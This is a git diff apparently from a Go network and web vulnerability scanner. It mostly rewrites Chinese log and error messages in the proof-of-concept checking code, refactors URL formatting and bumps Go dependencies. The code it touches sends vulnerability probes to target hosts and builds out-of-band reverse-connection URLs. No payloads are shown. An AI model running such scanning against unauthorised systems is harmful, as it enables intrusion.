Common.LogError(errlog) } @@ -185,7 +185,7 @@ func geturl(info *Common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er } // 输出结果 - result := fmt.Sprintf("[*] 网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v", + result := fmt.Sprintf("网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v", resp.Request.URL, resp.StatusCode, length, title) if reurl != "" { result += fmt.Sprintf(" 重定向地址: %s", reurl) @@ -297,7 +297,7 @@ func GetProtocol(host string, Timeout int64) (protocol string) { if conn != nil { defer func() { if err := recover(); err != nil { - Common.LogError(err) + Common.LogError(fmt.Sprintf("连接关闭时发生错误: %v", err)) } }() conn.Close() diff --git a/WebScan/lib/Check.go b/WebScan/lib/Check.go index 79f96cd..7dd442e 100644 --- a/WebScan/lib/Check.go +++ b/WebScan/lib/Check.go @@ -44,15 +44,10 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) { for i := 0; i < workers; i++ { go func() { for task := range tasks { - // 执行POC检测 isVulnerable, details, vulName := executePoc(task.Req, task.Poc) if isVulnerable { - // 格式化输出结果 - result := fmt.Sprintf("[+] [发现漏洞] 目标: %s\n"+ - " 漏洞类型: %s\n"+ - " 漏洞名称: %s\n"+ - " 详细信息: %s", + result := fmt.Sprintf("目标: %s\n 漏洞类型: %s\n 漏洞名称: %s\n 详细信息: %s", task.Req.URL, task.Poc.Name, vulName, @@ -101,13 +96,13 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { // 创建执行环境 env, err := NewEnv(&config) if err != nil { - return false, fmt.Errorf("[-] 创建%s的执行环境失败: %v", p.Name, err), "" + return false, fmt.Errorf("执行环境错误 %s: %v", p.Name, err), "" } // 解析请求 req, err := ParseRequest(oReq) if err != nil { - return false, fmt.Errorf("[-] 解析%s的请求失败: %v", p.Name, err), "" + return false, fmt.Errorf("请求解析错误 %s: %v", p.Name, err), "" } // 初始化变量映射 @@ -126,7 +121,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { continue } if err, _ = evalset(env, variableMap, key, expression); err != nil { - Common.LogError(fmt.Sprintf("[-] 执行%s的设置项失败: %v", p.Name, err)) + Common.LogError(fmt.Sprintf("设置项执行错误 %s: %v", p.Name, err)) } } @@ -167,14 +162,14 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { } req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20") - // 创建新的请求 + // 创建新请求 newRequest, err := http.NewRequest( rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), strings.NewReader(rule.Body), ) if err != nil { - return false, fmt.Errorf("创建新请求失败: %v", err) + return false, fmt.Errorf("请求创建错误: %v", err) } // 设置请求头 @@ -247,8 +242,9 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { func doSearch(re string, body string) map[string]string { // 编译正则表达式 r, err := regexp.Compile(re) + // 正则表达式编译 if err != nil { - Common.LogError(fmt.Sprintf("正则表达式编译失败: %v", err)) + Common.LogError(fmt.Sprintf("正则编译错误: %v", err)) return nil } @@ -323,8 +319,9 @@ func newReverse() *Reverse { // 构建URL urlStr := fmt.Sprintf("http://%s.%s", subdomain, ceyeDomain) u, err := url.Parse(urlStr) + // 解析反连URL if err != nil { - Common.LogError(fmt.Sprintf("解析反连URL失败: %v", err)) + Common.LogError(fmt.Sprintf("反连URL解析错误: %v", err)) return &Reverse{} } @@ -463,13 +460,11 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, if success { // 处理成功情况 if currentRule.Continue { - // 特殊POC的输出处理 + targetURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path) if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" { - Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s", - req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name)) + Common.LogSuccess(fmt.Sprintf("检测到漏洞 %s %s", targetURL, p.Name)) } else { - Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s 参数:%v", - req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, currentParams)) + Common.LogSuccess(fmt.Sprintf("检测到漏洞 %s %s 参数:%v", targetURL, p.Name, currentParams)) } continue } @@ -477,8 +472,8 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, // 记录成功的参数组合 strMap = append(strMap, currentParams...) if ruleIndex == len(p.Rules)-1 { - Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s 参数:%v", - req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap)) + targetURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path) + Common.LogSuccess(fmt.Sprintf("检测到漏洞 %s %s 参数:%v", targetURL, p.Name, strMap)) return false, nil } break paramLoop @@ -600,9 +595,9 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re reqURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path) newRequest, err := http.NewRequest(rule.Method, reqURL, strings.NewReader(rule.Body)) if err != nil { - return false, fmt.Errorf("[-] 创建HTTP请求失败: %v", err) + return false, fmt.Errorf("HTTP请求错误: %v", err) } - defer func() { newRequest = nil }() // 及时释放资源 + defer func() { newRequest = nil }() // 设置请求头 newRequest.Header = oReq.Header.Clone() @@ -613,7 +608,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re // 发送请求 resp, err := DoRequest(newRequest, rule.FollowRedirects) if err != nil { - return false, fmt.Errorf("[-] 发送请求失败: %v", err) + return false, fmt.Errorf("请求发送错误: %v", err) } // 更新响应到变量映射 @@ -638,11 +633,11 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re out, err := Evaluate(env, rule.Expression, variableMap) if err != nil { if strings.Contains(err.Error(), "Syntax error") { - Common.LogError(fmt.Sprintf("[-] CEL表达式语法错误 [%s]: %v", rule.Expression, err)) + Common.LogError(fmt.Sprintf("CEL语法错误 [%s]: %v", rule.Expression, err)) } return false, err } - + // 检查表达式执行结果 if fmt.Sprintf("%v", out) == "false" { return false, nil diff --git a/go.mod b/go.mod index de61c93..2cf1893 100644 --- a/go.mod +++ b/go.mod @@ -8,7 +8,7 @@ require ( github.com/IBM/sarama v1.43.3 github.com/Ullaakut/nmap v2.0.2+incompatible github.com/denisenkom/go-mssqldb v0.12.3 - github.com/fatih/color v1.7.0 + github.com/fatih/color v1.18.0 github.com/go-ldap/ldap/v3 v3.4.9 github.com/go-ole/go-ole v1.3.0 github.com/go-resty/resty/v2 v2.16.2 @@ -66,8 +66,8 @@ require ( github.com/jcmturner/rpc/v2 v2.0.3 // indirect github.com/klauspost/compress v1.17.9 // indirect github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 // indirect - github.com/mattn/go-colorable v0.0.9 // indirect - github.com/mattn/go-isatty v0.0.3 // indirect + github.com/mattn/go-colorable v0.1.13 // indirect + github.com/mattn/go-isatty v0.0.20 // indirect github.com/pierrec/lz4/v4 v4.1.21 // indirect github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475 // indirect github.com/rogpeppe/go-internal v1.13.1 // indirect diff --git a/go.sum b/go.sum index 12d92df..eae3d4f 100644 --- a/go.sum +++ b/go.sum @@ -66,6 +66,8 @@ github.com/eapache/queue v1.1.0 h1:YOEu7KNc61ntiQlcEeUIoDTJ2o8mQznoNvUhiigpIqc= github.com/eapache/queue v1.1.0/go.mod h1:6eCeP0CKFpHLu8blIFXhExK/dRa7WDZfr6jVFPTqq+I= github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys= github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= +github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM= +github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU= github.com/fortytw2/leaktest v1.3.0 h1:u8491cBMTQ8ft8aeV+adlcytMZylmA5nnwwkRZjI8vw= github.com/fortytw2/leaktest v1.3.0/go.mod h1:jDsjWgpAGjm2CA7WthBh/CdZYEPF31XHquHwclZch5g= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= @@ -235,8 +237,13 @@ github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40/go.mod h1:vy1vK6w github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/mattn/go-colorable v0.0.9 h1:UVL0vNpWh04HeJXV0KLcaT7r06gOH2l4OW6ddYRUIY4= github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= +github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= +github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= github.com/mattn/go-isatty v0.0.3 h1:ns/ykhmWi7G9O+8a448SecJU3nSMBXJfqQkl0upE1jI= github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= +github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= +github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= +github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= @@ -480,8 +487,10 @@ golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= diff --git a/main.go b/main.go index b006f07..e0e752e 100644 --- a/main.go +++ b/main.go @@ -9,6 +9,7 @@ import ( ) func main() { + start := time.Now() var Info Common.HostInfo Common.Flag(&Info)